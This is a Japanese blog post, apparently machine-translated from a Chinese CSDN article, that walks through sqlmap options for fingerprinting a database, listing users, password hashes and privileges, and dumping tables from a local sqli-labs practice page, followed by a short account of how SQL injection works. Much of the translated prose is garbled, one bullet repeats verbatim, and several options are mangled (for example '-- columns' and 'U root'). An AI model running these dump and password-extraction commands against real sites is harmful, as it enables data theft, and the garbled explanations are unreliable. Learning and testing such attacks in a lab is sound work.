DBMSの情報を取得SQLMAP、SQLインジェクションの原則 - 最初の約5のWebセキュリティの話

Aは、DBMS情報を取得SQLMAP

  • 情報のバナーを取得するためにバックエンドデータベース

     参数 --banner或者-b
    
  • 現在のデータベース名を取得します。

     参数 --current-db
    
  • 名前を取得します。

     参数 --hostname
    
  • 現在のユーザーがデータベース管理者であるかどうかを検出

     参数 --is-dba
    
  • SQLMAPは、最初のリストのユーザーになり、その後、ユーザーのパスワードのハッシュ値を示しています。

     参数 --passwords
    
  • すべてのユーザがDBMSを取得します

     参数 --users
    
  • 権利のSQLMAP列挙DBMS

     参数:--privileges
    
    • 現在のユーザーがデータベース管理システムの読み取り権限を持っているユーザーの権限が含まれるデータベース管理システムのシステムテーブルにユーザー情報が含まれている場合、この機能を使用します。ユーザーが管理者権限であるユーザーを判別することができます。

    • パラメータを使用する特定のユーザーのみに許可を列挙する「-U」は、ユーザを指定するには、現在のユーザーを表すために「CU」することができます。

       python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --privileges U root
      

ここに画像を挿入説明

二、SQLMAP列挙情報

  • データベース名のリスト

     参数 --dbs
    

    ここに画像を挿入説明

  • データベーステーブルの名前をリスト

     参数:    --tables 
     
     -D 数据库名字     指定具体数据库
     python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables
    

    ここに画像を挿入説明

  • SQLMAP列挙型データ表の列

     参数 -- columns
     -T  表名字     指定具体表
     python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -T users --columns
    

    ここに画像を挿入説明

  • 列挙されたデータ値をSQLMAP

     参数 --dump
     python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -T users --columns --dump
    

    ここに画像を挿入説明

  • SQLMAP列挙スキーマ情報

    このオプションは、ユーザーリストモードのデータベース管理システムに利用可能です。モードリストは、すべて含まれているデータベース、テーブル、カラム、トリガ、およびそれぞれのタイプを同様に、パラメータ** -除外-SYSDBS **は、システムのデータベースを除外する。

     	参数 --schema 		
    
  • -exclude-SYSDBS排除データベースシステム

三つは、データ表の数量を取得SQLMAP

  • あなたがテーブルのエントリ数を知りたい場合は、このパラメータを使用することができます

     参数 --count
     python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --count -D security
    

    ここに画像を挿入説明

  • データ情報へのアクセスqlmap

     参数 --start --stop
    
     --start 1 --stop 3 返回当前数据库表的前三条记录
    
     python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --count -D security --tables --start 1 --stop 3 --dump
    

ここに画像を挿入説明

  • 情報へのアクセスを設定SQLMAP

     参数 --where
     python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --count -D security -T users --where='id>2' --dump
    

    ここに画像を挿入説明

四、SQLMAPブルートフォースデータ

  • ブルートテーブル

     参数 --common-tables 
     python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --common-tables
     
     有些情况下用--tables不能列出数据库中表名来比如:
      1.版本小于5.0的MySQL没有information_schema表
      2.数据库用户权限过低无法读取表名
    

五、すべての情報を取得SQLMAP

  • すべての情報検索を返します。

     参数 -a 或者--all 
     python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -a
    

六、SQLインジェクションの原則

6.1はじめにSQLインジェクションへ

SQLインジェクションは、Webアプリケーションを参照するデータベースクエリにフロントアタッカー制御可能なパラメータとパラメータの後端を渡し、ユーザ入力データの正当性を判断しない、攻撃者は、データベースのいずれかを実装するために別のSQLステートメントを構築することができますオペレーティング

6.2 SQLインジェクションの脆弱性を生成する2つの条件を満たしている必要があります

  • ユーザ制御可能なパラメータ
  • データベースクエリパラメータに、パラメータは、SQL文のステッチに渡され、データベースクエリに

6.3 SQLインジェクションの危険性

  1. 機密情報のデータベースの開示
  2. ページが改ざんされています
  3. データベースは、悪意のあるです
  4. サーバーは、リモートコントロールで

6.4 SQLインジェクションの分類

  • 注入位置は、二つのタイプにSQLデータ型注入することができます:数値と文字列

     字符串注入
     数字注入
    
  • 注入位置は、二つのタイプにSQLデータ型注入することができます:数値と文字列

     字符串注入
     数字注入
    

理由6.5 SQLインジェクション

  1. データ及びコードの厳密な分離しません
  2. 十分なチェックとフィルタを行うことなく、ユーザによって提出されたパラメータデータは、データベースによって、正常に実行され、SQLコマンド、SQLコマンドは、元の「意味論」を変更させられます

6.6 SQLインジェクションのプロセス

ここに画像を挿入説明

公開された45元の記事 ウォンの賞賛4 ビュー1270

おすすめ

転載: blog.csdn.net/Yauger/article/details/104326752